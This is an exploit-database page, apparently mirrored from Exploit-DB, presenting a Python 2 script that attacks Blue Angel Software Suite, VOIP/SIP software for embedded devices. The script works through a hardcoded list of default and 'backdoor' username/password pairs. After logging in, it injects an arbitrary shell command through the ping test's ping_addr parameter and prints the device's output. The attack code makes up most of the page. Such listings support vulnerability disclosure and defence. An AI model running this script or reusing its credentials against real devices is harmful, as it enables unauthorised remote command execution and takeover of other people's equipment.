Search for hundreds of thousands of exploits

"Blue Angel Software Suite - Command Execution"

Author

Exploit author

"Paolo Serracino_ Pietro Minniti_ Damiano Proietti"

Platform

Exploit platform

linux

Release date

Exploit published date

2019-05-03

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
# Exploit Title: Blue Angel Software Suite - Authenticated Command Execution
# Google Dork: N/A
# Date: 02/05/2019
# Exploit Author: Paolo Serracino 
# Vendor Homepage: http://www.5vtechnologies.com
# Software Link: N/A
# Version: All
# Tested on: Embedded Linux OS
# CVE : N/A
# Description: Blue Angel Software Suite, an application that runs on embedded devices for VOIP/SIP services is vulnerable to an authenticated 
# command execution in ping command. All default accounts can be used to login and achieve command execution, including the guest one. 
# Moreover there's another account, defined in the local file device.dat, that provides an apparently "backdoor" account.
# A list of these accounts is hardcoded in the script.

#/usr/bin/python
import sys
import requests


def check_sw(target,port):

  res = requests.get(target + ':' + port)

  if '/cgi-bin/webctrl.cgi?action=index_page' in res.text:
     return True
  else:
     print "[-] DOES NOT LOOK LIKE THE PAGE WE'RE LOOKING FOR"
     return False

def check_login(target,port,command):

   if not check_sw(target,port):
      sys.exit()

   creds_common = [('blueangel','blueangel'), #the "backdoor" account
                   ('root','abnareum10'),
                   ('root','[email protected]'),
                   ('root','superuser'),
                   ('user','user') ,
                   ('guest','guest'),
                   ]
 
   for i in range(len(creds_common)):
      postdata=[('action','login_authentication'),
               ('redirect_action','sysinfo_page'),
               ('login_username',creds_common[i][0]),
               ('login_password',creds_common[i][1]),
               ('B1','Login')
               ]

      res = requests.post(target + ':' + port + '/cgi-bin/webctrl.cgi',data=postdata)

      if 'Set-Cookie' in res.headers:
         cookie = res.headers.get('Set-Cookie')
         print '[+] LOGGED IN WITH CREDENTIALS  ' + str(creds_common[i][0] + ' : ' + creds_common[i][1]) 
         execute_cmd(target,port,cookie,command)  
         return True


def execute_cmd(target,port,cookie,cmd):

   print '[+] EXECUTING COMMAND'
   new_headers = ({'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',
                 'Referer': target,
                 'Cookie': cookie
                })
   res = requests.get(target + ':' + port + '/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1;' + cmd + '&B1=PING',headers=new_headers)
   res_lines = res.text.splitlines()
   result = []
   copy = False

   for line in res_lines:

      if 'round-trip min/avg/max' in line:
         copy = True
      elif '</pre></body></html>' in line: 
         copy = False
      elif copy == True:
         result.append(line)

   print('[+] COMMAND RESPONSE')
   print('------------------------------------------')

   for r in result:
      print r
   print('------------------------------------------')


def main():

   if len(sys.argv) < 4:
      print '[-] 3 ARGS: TARGET PORT SHELL_COMMAND'
      sys.exit()
   
   target = sys.argv[1]   
   port = sys.argv[2]
   command = sys.argv[3]
   if not check_login(target,port,command):
      print '[-] COULD NOT FIND VALID CREDENTIALS'
      
if __name__ == "__main__":
    main()
Release DateTitleTypePlatformAuthor
2019-05-03"Blue Angel Software Suite - Command Execution"remotelinux"Paolo Serracino_ Pietro Minniti_ Damiano Proietti"
2019-01-14"Horde Imp - 'imap_open' Remote Command Execution"webappsphp"Paolo Serracino_ Pietro Minniti_ Damiano Proietti"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46792/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.